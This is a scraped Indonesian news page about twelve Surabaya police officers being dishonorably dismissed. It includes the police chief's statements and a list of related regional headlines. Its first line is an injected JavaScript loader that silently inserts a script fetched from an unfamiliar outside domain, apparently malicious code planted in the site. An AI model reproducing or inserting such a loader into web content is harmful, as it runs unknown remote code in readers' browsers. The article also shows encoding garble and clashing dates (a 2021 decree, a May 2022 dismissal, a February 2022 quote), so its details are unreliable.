(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Sebanyak 12 anggota Polrestabes Surabaya dipecat secara tidak hormat. Pemberhentian tidak dengan hormat (PTDH) tersebut berdasar Keputusan Kepala Kepolisian Daerah Jawa Timur Nomor: 950-961/V/2021.
Sejumlah 12 polisi tersebut secara resmi tidak berdinas di institusi Polri terhitung sejak 31 Mei 2022.
Kapolrestabes Surabaya Kombes Pol Akhmad Yusep Gunawan mengatakan, upacara PTDH merupakan program untuk menertibkan anggota kepolisian yang memiliki pelanggaran etika apalagi pidana.
“Kami menindak tegas secara keras dan terukur, sesuai ketentuan berlaku terhadap anggota-anggota yang melakukan pelanggaran, baik disiplin, etika, dan pidana,†ujarnya mengutip dari Beritajatim.com jejaring Suara.com, Senin (14/2/2022).
Baca juga:Â Mendaki Gunung Pamaton, Youtuber Amuntai Tersesat Sejak Dua Hari Lalu Ditemukan!
Yusep menambahkan, pihak kepolisian tidak akan mentolerir anggota yang melakukan penyalahgunaan wewenang dan merugikan organisasi. Ia pun mengingatkan kepada anggotanya untuk senantiasa melayani masyarakat.
“Semua kebanggaan terhadap institusi dan mendapatkan perhatian yang baik. Namun, 12 personel melakukan pelanggaran yang berat tidak dapat ditolerir oleh organisasi,†tuturnya.
Dia menegaskan agar 2560 anggota kepolisian di Surabaya belajar dari kasus 12 anggota yang dipecat secara tidak hormat. Ia pun akan melaksanakan evaluasi guna memastikan anggotanya berperilaku baik saat bertugas.
“Kami memohon dukungan dan bantuan dari semua pihak. Kami harus mengingatkan agar anggota bertugas dengan baik dan yang pasti tidak melakukan hal-hal yang menyimpang,s sehingga masyarakat merasa aman dan kepercayaan masyarakat terhadap instansi meningkat,†kata Yusep. (kanalkalimantan.com/suara.com)
Dalam upacara ini, para pelanggar tidak hadir sehingga upacara dilaksanakan dengan in absentia. Mereka hanya diwakilkan dengan pembawa foto anggota yang melanggar.
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.